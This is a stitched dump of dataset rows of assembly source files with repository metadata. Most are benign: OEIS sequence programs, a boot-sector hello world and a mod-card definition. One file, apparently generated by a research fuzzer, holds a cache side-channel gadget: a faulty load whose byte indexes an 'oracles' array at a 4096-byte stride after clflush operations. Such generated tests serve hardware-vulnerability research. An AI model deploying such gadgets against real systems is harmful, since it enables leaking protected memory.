] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0xd1af, %r13
nop
nop
nop
nop
sub %rax, %rax
vmovups (%r13), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $0, %xmm2, %rdi
nop
nop
nop
and %rsi, %rsi
lea addresses_D_ht+0x14af, %rbx
nop
nop
nop
nop
nop
inc %rax
movb $0x61, (%rbx)
nop
nop
nop
xor %rbx, %rbx
lea addresses_A_ht+0x141af, %rsi
lea addresses_normal_ht+0x948f, %rdi
clflush (%rdi)
nop
nop
nop
add $41645, %r14
mov $31, %rcx
rep movsb
inc %r14
lea addresses_WT_ht+0x270f, %rbx
clflush (%rbx)
inc %r13
movw $0x6162, (%rbx)
nop
inc %r14
lea addresses_D_ht+0x1ee06, %r13
nop
nop
inc %rdx
mov (%r13), %rbx
nop
nop
add %rax, %rax
lea addresses_D_ht+0xdaff, %rsi
and %rax, %rax
mov (%rsi), %rcx
nop
nop
nop
xor %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0x1185b, %r11
inc %rbx
movl $0x51525354, (%r11)
nop
nop
add $22899, %rdi
// Store
lea addresses_A+0xb3ef, %rbx
and $15828, %rcx
mov $0x5152535455565758, %rsi
movq %rsi, (%rbx)
nop
nop
nop
add %rdi, %rdi
// Store
lea addresses_US+0x29af, %rsi
nop
nop
nop
nop
sub $41626, %rdi
movl $0x51525354, (%rsi)
nop
nop
nop
nop
and %rcx, %rcx
// Store
lea addresses_PSE+0x4b8f, %rdx
nop
and $52797, %r11
movl $0x51525354, (%rdx)
nop
nop
cmp %r11, %r11
// Store
lea addresses_PSE+0x6b7f, %rsi
nop
and $63328, %r10
movb $0x51, (%rsi)
nop
nop
nop
nop
nop
sub $63285, %rdx
// Load
lea addresses_D+0x842f, %r11
nop
nop
nop
nop
sub $31259, %r10
mov (%r11), %esi
nop
nop
nop
nop
nop
xor $13604, %rcx
// Store
lea addresses_US+0x29af, %r11
nop
nop
nop
nop
nop
and $32412, %rsi
mov $0x5152535455565758, %rbx
movq %rbx, %xmm3
movups %xmm3, (%r11)
nop
nop
nop
add %rcx, %rcx
// Store
lea addresses_PSE+0xf9af, %r11
clflush (%r11)
and %r10, %r10
movb $0x51, (%r11)
nop
nop
cmp $33778, %rbx
// Store
lea addresses_US+0x29af, %rsi
add $41493, %rbx
movb $0x51, (%rsi)
nop
sub $46878, %r11
// Store
lea addresses_WT+0x1e03, %r11
nop
nop
nop
nop
nop
and $51618, %rsi
movw $0x5152, (%r11)
nop
add $3596, %rbx
// Store
lea addresses_WT+0x5cb3, %rcx
cmp %rdx, %rdx
mov $0x5152535455565758, %rsi
movq %rsi, %xmm3
movups %xmm3, (%rcx)
nop
nop
nop
nop
nop
dec %r10
// Faulty Load
lea addresses_US+0x29af, %r11
nop
cmp %r10, %r10
movb (%r11), %cl
lea oracles, %rdx
and $0xff, %rcx
shlq $12, %rcx
mov (%rdx,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_RW', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_A', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_D', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_PSE', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_US', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 2, 'NT': False, 'type': 'addresses_WT_ht', 'size': 2, 'AVXalign': False}}
{'src': {'same': True, 'congruent': 0, 'NT': True, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'51': 1526}
51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51 51
*/
| 31.2607 | 2,999 | 0.647996 |
306db755cef5b0a5c4347e0b9e6e5cab6f80a6ba | 358 | asm | Assembly | programs/oeis/032/A032440.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/032/A032440.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/032/A032440.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A032440: Sum binomial(Fibonacci(n),i); i=0..3).
; 1,2,2,4,8,26,93,378,1562,6580,27776,117570,497785,2108418,8930754,37830676,160251624,678835194,2875587605,12181180442,51600296826,218582354212,925929680832,3922301042114,16615133763313
seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1.
add $0,1
mov $1,$0
bin $0,3
add $0,$1
| 39.777778 | 186 | 0.712291 |
521d28bfc2b4ec2a669484337e385d1707fbfc15 | 499 | asm | Assembly | programs/oeis/266/A266722.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/266/A266722.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/266/A266722.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A266722: Number of ON (black) cells in the n-th iteration of the "Rule 59" elementary cellular automaton starting with a single ON (black) cell.
; 1,2,2,6,2,10,2,14,2,18,2,22,2,26,2,30,2,34,2,38,2,42,2,46,2,50,2,54,2,58,2,62,2,66,2,70,2,74,2,78,2,82,2,86,2,90,2,94,2,98,2,102,2,106,2,110,2,114,2,118,2,122,2,126,2,130,2,134,2,138,2,142,2,146,2,150,2,154,2,158,2,162,2,166,2,170,2,174,2,178,2,182,2,186,2,190,2,194,2,198
lpb $0
mov $1,$0
sub $0,1
add $1,$0
mod $0,2
lpe
add $1,1
mov $0,$1
| 41.583333 | 274 | 0.645291 |
0362fa9c6788b38438f3ab232dbafbed37482922 | 741 | asm | Assembly | src/hello/hello.asm | devcfei/bootstrap-x86 | c16824b76df59bc9305cfee10b07baa6e2c41dd7 | [
"Unlicense"
] | null | null | null | src/hello/hello.asm | devcfei/bootstrap-x86 | c16824b76df59bc9305cfee10b07baa6e2c41dd7 | [
"Unlicense"
] | null | null | null | src/hello/hello.asm | devcfei/bootstrap-x86 | c16824b76df59bc9305cfee10b07baa6e2c41dd7 | [
"Unlicense"
] | null | null | null | %define org_start 7c00h
boot:
org org_start
mov ax, cs
mov ds, ax
mov es, ax
call screenClean
call stringPrint
jmp $
screenClean:
push bp
mov bp, sp
pusha
mov ah, 07h ; tells BIOS to scroll down window
mov al, 00h ; clear entire window
mov bh, 07h ; white on black
mov cx, 00h ; specifies top left of screen as (0,0)
mov dh, 18h ; 18h = 24 rows of chars
mov dl, 4fh ; 4fh = 79 cols of chars
int 10h ; calls video interrupt
popa
mov sp, bp
pop bp
ret
stringPrint:
mov bp, helloString
mov cx, [helloStringSize]
mov ax, 01301h
mov bx, 000ch
mov dx, 0000h
int 10h;
ret
helloString:
db "Hello, world!"
helloStringSize:
db $-helloString
fill:
times 510-($-$$) db 0;
dw 0xaa55 ; MBR signature | 15.765957 | 53 | 0.674764 |
9d1e362c1069e1c89b92c1c1b1eedc557cbf184d | 612 | asm | Assembly | oeis/139/A139287.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/139/A139287.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/139/A139287.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A139287: 2^(2p - 1) - 1, where p is prime.
; 7,31,511,8191,2097151,33554431,8589934591,137438953471,35184372088831,144115188075855871,2305843009213693951,9444732965739290427391,2417851639229258349412351,38685626227668133590597631,9903520314283042199192993791,40564819207303340847894502572031,166153499473114484112975882535043071,2658455991569831745807614120560689151,10889035741470030830827987437816582766591,2787593149816327892691964784081045188247551,44601490397061246283071436545296723011960831
seq $0,6005 ; The odd prime numbers together with 1.
mov $1,4
pow $1,$0
div $1,48
mul $1,24
add $1,7
mov $0,$1
| 55.636364 | 454 | 0.862745 |
7be67cab04d4b1e9a7ae9169371a6506dcc6b0a9 | 7,009 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x139e4, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $23633, %rbx
movb $0x61, (%rdi)
nop
nop
cmp $5065, %rdi
lea addresses_UC_ht+0x123ae, %rsi
lea addresses_D_ht+0xbfe, %rdi
nop
nop
nop
nop
cmp %rax, %rax
mov $88, %rcx
rep movsl
nop
nop
nop
nop
cmp %r13, %r13
lea addresses_UC_ht+0x1ba2e, %rsi
lea addresses_D_ht+0x139ae, %rdi
nop
cmp %r13, %r13
mov $44, %rcx
rep movsq
xor %r13, %r13
lea addresses_normal_ht+0x14abe, %rdi
nop
nop
nop
cmp %r9, %r9
movw $0x6162, (%rdi)
nop
nop
nop
nop
add %rax, %rax
lea addresses_UC_ht+0x123ce, %r13
nop
nop
add %rbx, %rbx
movl $0x61626364, (%r13)
sub %r13, %r13
lea addresses_normal_ht+0x11eae, %rax
nop
nop
nop
nop
inc %rdi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm5
and $0xffffffffffffffc0, %rax
vmovaps %ymm5, (%rax)
nop
nop
nop
nop
cmp %rsi, %rsi
lea addresses_D_ht+0xbbfe, %rcx
nop
nop
nop
inc %rsi
movl $0x61626364, (%rcx)
and $42133, %r9
lea addresses_UC_ht+0x45ae, %rsi
lea addresses_normal_ht+0x80d4, %rdi
nop
nop
nop
nop
nop
cmp $2418, %r9
mov $110, %rcx
rep movsq
nop
and %rcx, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r9
push %rax
push %rdx
push %rsi
// Store
lea addresses_D+0x16dae, %rsi
nop
nop
add %r11, %r11
mov $0x5152535455565758, %rax
movq %rax, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
nop
cmp $3709, %r9
// Store
lea addresses_D+0x117ae, %rsi
nop
nop
nop
nop
nop
inc %rdx
movw $0x5152, (%rsi)
nop
nop
nop
nop
nop
sub %rax, %rax
// Store
lea addresses_WC+0x1ebae, %r11
nop
nop
nop
cmp $34353, %rdx
mov $0x5152535455565758, %rax
movq %rax, (%r11)
nop
nop
inc %r11
// Store
lea addresses_PSE+0x16e9e, %rdx
nop
nop
nop
xor %r13, %r13
movl $0x51525354, (%rdx)
nop
nop
nop
nop
nop
cmp %r11, %r11
// Faulty Load
lea addresses_WT+0x87ae, %rsi
nop
nop
cmp $26432, %r12
mov (%rsi), %r9d
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_D', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_PSE', 'size': 4, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_D_ht', 'size': 1, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_UC_ht', 'size': 4, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 33.37619 | 2,999 | 0.657583 |
b9b8e64c26d7bf2c06e187fbac934c42aa87b68c | 385 | asm | Assembly | oeis/134/A134744.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/134/A134744.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/134/A134744.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A134744: First differences of A084663.
; Submitted by Christian Krause
; 2,1,1,1,1,7,1,1,1,1,1,13,1,5,1,1,1,1,1,1,1,1,1,1,1,1,1,29,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,59,3,1,1,7,1,5,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
mov $2,$0
seq $0,84663 ; a(1) = 8; a(n) = a(n-1) + gcd(a(n-1), n).
mov $1,$0
add $2,2
gcd $1,$2
mov $0,$1
| 35 | 204 | 0.545455 |
9d2344df88dd04f30eace02db8263a42927947ad | 282 | asm | Assembly | programs/oeis/160/A160538.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/160/A160538.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/160/A160538.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A160538: a(n) = 4*(n^4-n^3).
; 0,32,216,768,2000,4320,8232,14336,23328,36000,53240,76032,105456,142688,189000,245760,314432,396576,493848,608000,740880,894432,1070696,1271808,1500000,1757600,2047032,2370816,2731568,3132000
mov $1,$0
add $1,1
pow $1,3
mul $0,$1
div $0,2
mul $0,8
| 28.2 | 193 | 0.730496 |
3576cf78b159aca647324c07485a3abadb0dc6dd | 650 | asm | Assembly | cards/bn6/ModCards/137-B045 ColdMan.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | 10 | 2017-12-05T14:25:38.000Z | 2022-02-21T04:28:00.000Z | cards/bn6/ModCards/137-B045 ColdMan.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | cards/bn6/ModCards/137-B045 ColdMan.asm | RockmanEXEZone/MMBN-Mod-Card-Kit | d591ddca5566dbb323dc19c11e69410fa4073d1b | [
"Unlicense"
] | null | null | null | .include "defaults_mod.asm"
table_file_jp equ "exe6-utf8.tbl"
table_file_en equ "bn6-utf8.tbl"
game_code_len equ 3
game_code equ 0x4252354A // BR5J
game_code_2 equ 0x42523545 // BR5E
game_code_3 equ 0x42523550 // BR5P
card_type equ 1
card_id equ 98
card_no equ "098"
card_sub equ "Mod Card 098"
card_sub_x equ 64
card_desc_len equ 2
card_desc_1 equ "ColdMan"
card_desc_2 equ "34MB"
card_desc_3 equ ""
card_name_jp_full equ "コールドマン"
card_name_jp_game equ "コールドマン"
card_name_en_full equ "ColdMan"
card_name_en_game equ "ColdMan"
card_address equ ""
card_address_id equ 0
card_bug equ 0
card_wrote_en equ ""
card_wrote_jp equ "" | 24.074074 | 35 | 0.772308 |
e85edf4a71c1828d6d350d1a9532d6cb9fdfc289 | 1,352 | asm | Assembly | unittests/ASM/PrimaryGroup/3_F7_00.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
] | 628 | 2020-03-06T14:01:32.000Z | 2022-03-31T06:35:14.000Z | unittests/ASM/PrimaryGroup/3_F7_00.asm | cobalt2727/FEX | 13087f8425aeaad28dc81bed46a83e1d72ff0db8 | [
"MIT"
